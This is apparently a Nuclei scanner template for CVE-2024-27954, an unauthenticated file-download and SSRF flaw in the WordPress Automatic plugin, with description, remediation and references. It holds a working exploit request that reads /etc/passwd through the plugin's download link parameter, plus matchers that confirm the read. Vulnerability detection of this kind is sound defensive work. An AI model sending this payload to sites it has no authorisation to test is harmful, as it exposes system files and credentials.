CVE-2024-27954: WordPress Automatic Plugin <3.92.1 - Arbitrary File Download and SSRF

id: CVE-2024-27954

info:
  name: WordPress Automatic Plugin <3.92.1 - Arbitrary File Download and SSRF
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    WordPress Automatic plugin <3.92.1 is vulnerable to unauthenticated Arbitrary File Download and SSRF Located in the downloader.php file, could permit attackers to download any file from a site. Sensitive data, including login credentials and backup files, could fall into the wrong hands. This vulnerability has been patched in version 3.92.1.
  impact: |
    Unauthenticated attackers can download arbitrary files from the server including sensitive credentials and backup files, and perform SSRF attacks.
  remediation: |
    Update WordPress Automatic plugin to version 3.92.1 or later.
  reference:
    - https://wpscan.com/vulnerability/53b97401-1352-477b-a69a-680b01ef7266/
    - https://securityonline.info/40000-sites-exposed-wordpress-plugin-update-critical-cve-2024-27956-cve-2024-27954/#google_vignette
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27954
  classification:
    cvss-score: 9.8
    cve-id: CVE-2024-27954
    cwe-id: CWE-918
    epss-score: 0.72766
    epss-percentile: 0.99419
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/wp-automatic"
  tags: wpscan,cve,cve2024,wp,wordpress,wp-plugin,lfi,ssrf,wp-automatic,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?p=3232&wp_automatic=download&link=file:///etc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"link":"file:'

      - type: regex
        regex:
          - "root:.*:0:0:"
# digest: 4a0a00473045022100cccd6ef08031af3a0c81c66ecc7035454ca43b86053cab279caed08c1f9b848302202bc991ee72693d1fcd800062c83c808502ec3e583f412cad7811c6aed69b9376:922c64590222798bb761d5b6d8e72950

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